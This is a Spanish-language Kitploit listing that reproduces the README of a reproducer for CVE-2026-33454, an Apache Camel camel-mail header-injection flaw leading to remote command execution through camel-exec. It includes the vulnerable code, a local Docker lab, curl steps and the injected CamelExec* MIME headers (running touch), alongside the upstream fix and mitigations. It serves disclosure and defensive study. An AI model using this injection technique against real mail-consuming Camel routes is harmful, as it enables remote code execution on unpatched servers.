Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33454 — Reproductor para CVE-2026-33454: Inyección de cabecera de Apache Camel camel-mail a RCE a través de camel-exec | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-33454
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHuboscerd/cve-2026-33454

CVE-2026-33454

Reproductor para CVE-2026-33454: Inyección de cabecera de Apache Camel camel-mail a RCE a través de camel-exec

Ver Repositorio
111hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Inyección de Cabeceras en camel-mail → Reproducción de Vulnerabilidad RCE (CVE-2026-33454)

Este proyecto demuestra una vulnerabilidad de inyección de cabeceras de mensaje Camel en el componente camel-mail de Apache Camel, rastreada como CVE-2026-33454. Un atacante que pueda enviar un correo electrónico a un buzón monitoreado por un consumidor de correo Camel puede inyectar cabeceras de control Camel* en el Exchange, logrando ejecución remota de código cuando la ruta reenvía a un productor sensible a cabeceras como camel-exec.

Aviso de seguridad: https://camel.apache.org/security/CVE-2026-33454.html

Resumen de la Vulnerabilidad

PropiedadValor
Componentecamel-mail
Clase afectadaorg.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail)
Causa raízLa estrategia de filtro configura solo la dirección OUT (setOutFilterStartsWith) y NO la dirección IN, por lo que las cabeceras MIME entrantes no se filtran
CWECWE-20: Validación de Entrada Inadecuada (inyección de cabeceras de mensaje Camel)
ImpactoEjecución Remota de Código (a través de productores sensibles a cabeceras, p.ej., camel-exec)
Versiones afectadasDesde 3.0.0 antes de 4.14.6, y desde 4.15.0 antes de 4.18.1
Versiones corregidas4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23222
ReportanteHyunwoo Kim (@v4bel)

Detalles Técnicos

MailHeaderFilterStrategy extiende DefaultHeaderFilterStrategy. En las versiones afectadas, su constructor configura solo el filtro de salida y nunca configura el filtro de entrada:

root@kitploit:~
// MailHeaderFilterStrategy - versión afectada (solo se filtra la dirección OUT)
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);   // OUT solamente
    // sin setInFilterStartsWith(...) -> las cabeceras Camel* entrantes NO se filtran
}

Cuando Camel consume correo (p.ej., from("imap://...") o from("pop3://...")), MailBinding.extractHeadersFromMail() copia cada cabecera MIME en las cabeceras In del Exchange, evaluadas mediante headerFilterStrategy.applyFilterToExternalHeaders(...). Debido a que el filtro de entrada nunca se configuró, las cabeceras MIME con prefijo Camel* pasan directamente:

root@kitploit:~
// MailBinding.extractHeadersFromMail() - el filtro-in no está configurado, así que Camel* pasa
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }

Un atacante que pueda enviar un correo electrónico al buzón monitoreado puede, por lo tanto, establecer cabeceras de control Camel* arbitrarias. Cuando la ruta reenvía a un productor sensible a cabeceras como camel-exec, las cabeceras CamelExecCommandExecutable / CamelExecCommandArgs anulan el comando (honrado por defecto en las versiones afectadas) → ejecución arbitraria de comandos del SO.

La ruta víctima

root@kitploit:~
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
    .to("exec:echo?args=hello")     // comando fijo e inofensivo
    .convertBodyTo(String.class);

Prerrequisitos

  • Java 17+
  • Maven 3.8+
  • Docker (ejecuta el servidor de correo)

Pasos de Reproducción

Paso 1: Iniciar el servidor de correo (Docker)

Un contenedor GreenMail proporciona SMTP (3025) e IMAP (3143) con un único buzón (usuario victim, contraseña secret, dirección victim@localhost):

root@kitploit:~
docker compose up -d
# o:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
  -e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
  greenmail/standalone:2.1.0

Paso 2: Compilar e Iniciar la Aplicación

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

Inicia la ruta víctima IMAP y un controlador REST auxiliar en el puerto 8080.

Paso 3: Correo Benigno (verificación de cordura)

root@kitploit:~
curl http://localhost:8080/exploit/normal

El consumidor lo recoge y ejecuta echo hello.

Paso 4: Ataque — enviar un correo electrónico con cabeceras MIME Camel* inyectadas

root@kitploit:~
# prueba benigna por defecto: touch /tmp/pwned
curl http://localhost:8080/exploit/attack

# o elegir el ejecutable/argumentos:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"

Esto entrega un correo electrónico cuyas cabeceras MIME incluyen:

root@kitploit:~
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned

Paso 5: Verificar

root@kitploit:~
# esperar ~2s el ciclo de sondeo IMAP, luego:
ls -la /tmp/pwned

Si /tmp/pwned existe, la cabecera MIME inyectada anuló el comando exec → RCE.

Limpieza

root@kitploit:~
docker compose down    # o: docker rm -f greenmail-cve

Vectores de Ataque

La inyección solo necesita un productor sensible a cabeceras aguas abajo. El aviso de seguridad menciona camel-bean, camel-exec y camel-sql; de manera más general:

  • camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → ejecución de comandos del SO
  • camel-file — CamelFileName → escritura de archivos arbitrarios / path traversal
  • camel-bean — CamelBeanMethodName → invocar un método diferente
  • camel-sql — cabeceras de control de consultas

Condiciones de Explotación

  1. Una ruta Camel que consume correo (imap://, imaps://, pop3://, ...).
  2. La ruta reenvía a (o es influenciada por) un productor sensible a cabeceras.
  3. No hay removeHeaders("Camel*") entre el consumidor de correo y ese productor.

El atacante solo necesita poder enviar un correo electrónico al buzón monitoreado.

Corrección Recomendada

La corrección (CAMEL-23222) configura también el filtro de entrada:

root@kitploit:~
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
    inFilter[CAMEL_FILTER_STARTS_WITH.length]     = "mail.smtp.";
    inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
    setInFilterStartsWith(inFilter);   // ahora también se filtra la dirección entrante
}

Mitigación

Hasta actualizar:

  1. Eliminar cabeceras Camel de mensajes provenientes de correo: .removeHeaders("Camel*") justo después del from("imap:...").
  2. Evitar productores sensibles a cabeceras aguas abajo de correo no confiable, o fijar su configuración.
  3. Restringir quién puede enviar al buzón monitoreado.

Archivos

root@kitploit:~
CVE-2026-33454/
├── pom.xml
├── docker-compose.yml               # Servidor de correo GreenMail (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Punto de entrada Spring Boot
    │   ├── MailExecRoute.java        # la ruta víctima vulnerable (imap -> exec)
    │   └── ExploitController.java    # atacante: entrega el correo malicioso vía SMTP
    └── resources/
        └── application.properties

Aviso Legal

Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.

Descargar herramienta